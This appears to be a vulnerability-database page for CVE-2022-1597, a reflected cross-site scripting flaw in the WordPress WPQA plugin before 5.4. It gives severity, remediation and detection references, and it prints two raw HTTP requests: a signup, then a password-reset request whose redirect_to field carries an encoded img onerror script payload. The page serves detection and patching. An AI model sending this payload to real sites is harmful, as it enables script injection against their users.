🔙 목록으로 돌아가기

CVE-2022-1597: WordPress WPQA <5.4 - Cross-Site Scripting

TitleWordPress WPQA <5.4 - Cross-Site Scripting
Authorveshraj
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.33441
CVE IDCVE-2022-1597
CWE IDCWE-79
Tags cve cve2022 wpscan xss wordpress wp-plugin wp wpqa 2code vuln

🔍 Vulnerability Description

WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Connection: close
Content-Length: 160
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user_name=bushaf&email=bushaf@www.victim.com&pass1=vEyvgssG&pass2=vEyvgssG&phone=1769058107&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Connection: close
Content-Length: 160
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user_mail=bushaf@www.victim.com&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1597.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1597.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A